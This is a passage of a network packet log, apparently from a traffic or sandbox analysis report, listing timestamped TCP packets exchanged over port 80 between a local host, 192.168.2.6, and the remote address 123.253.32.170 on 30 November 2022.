Nov 30, 2022 00:11:11.850419044 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.850421906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850419044 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.850445032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850452900 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.850476027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850497007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.850517035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.850533962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.852546930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.852576971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.852613926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.912015915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.925091028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.925126076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.925215960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.007600069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099287033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099334955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099383116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099416018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099431992 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.099448919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099466085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.099482059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099514961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.099575043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.099616051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.100557089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.100591898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.100697041 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103370905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103419065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103451967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103496075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103529930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103562117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103564978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103595018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103616953 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103616953 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103627920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103661060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103703022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103727102 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103735924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103764057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103769064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103811026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103842974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103847027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103873968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103914976 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103935003 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103948116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.103971958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.103981018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104013920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104047060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104062080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104079962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104120970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104137897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104173899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104583025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104618073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104661942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104728937 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104762077 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104809046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104830027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104841948 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104875088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104903936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104907990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104939938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.104959011 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.104971886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105004072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105045080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105062008 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105077028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105102062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105109930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105142117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105175972 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105197906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105207920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105217934 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105240107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105272055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105314016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105339050 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105346918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105375051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105379105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105411053 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105441093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105443001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105474949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105506897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105526924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105537891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105565071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105571032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105602980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105645895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105670929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105679035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105706930 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105711937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105746031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105763912 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105777979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105809927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105849981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105868101 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105881929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105902910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105912924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105945110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.105967999 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.105978966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.106010914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.106034994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.106043100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.106075048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.106105089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.106107950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.106173038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.106921911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.114434958 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120418072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120450020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120507002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120532990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120548964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120573044 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120590925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120615005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120632887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.120642900 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.120732069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.122209072 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.122237921 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.122359991 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.182046890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.182158947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.182291985 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.195185900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.195271969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.195365906 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.369430065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369482994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369512081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369546890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369573116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369582891 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.369597912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369623899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369637012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.369647980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.369690895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.369718075 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.370321035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.370354891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.370438099 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.373732090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.373775005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.373833895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.373877048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.373929977 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.373935938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.373963118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.373984098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.373989105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374017000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374047995 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374048948 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374059916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374082088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374083042 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374121904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374126911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374152899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374176025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374195099 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374201059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374227047 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374228001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374253988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374278069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374313116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374339104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374363899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374381065 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374387980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374413013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.374420881 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.374490023 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.375657082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375682116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375705957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375749111 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375822067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375843048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.375843048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.375869989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375895977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375920057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.375921011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375946999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.375966072 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.375992060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376018047 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376082897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376085997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376113892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376138926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376166105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376209021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376231909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376252890 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376252890 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376255989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376281977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376308918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376333952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376358032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376358032 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376406908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376421928 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376431942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376451015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376477957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376513958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376521111 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376543999 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376545906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376571894 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376584053 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376597881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376626015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376651049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376651049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376668930 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376677990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376688004 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376703978 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376720905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376729965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376739025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376749992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376771927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376791000 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376797915 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376822948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376838923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376854897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376863956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376872063 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376902103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376905918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376930952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.376934052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376964092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.376998901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.379491091 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.390266895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390289068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390307903 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390326023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390345097 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390362024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390381098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390398026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390409946 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.390417099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390436888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.390470982 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.390495062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.390507936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.392388105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.392414093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.392544985 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.392640114 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.452008009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.452027082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.454894066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.466151953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.466190100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.466212034 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.466321945 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.466356993 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.639497995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639506102 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639523983 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639565945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639595032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639622927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639652014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639683008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.639787912 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.639894009 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.640069962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.640106916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.640187025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.640291929 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.644345999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644396067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644435883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644475937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644517899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644548893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.644556999 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644594908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644622087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.644634008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644671917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644710064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644748926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644773960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.644787073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644824982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644853115 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.644864082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644901991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644916058 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.644939899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644978046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.644982100 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.645016909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.645056963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.645061016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.645093918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.645101070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.645132065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.645169020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:12.645169973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:12.645207882 CET	80	49725	123.253.32.170	192.168.2.6
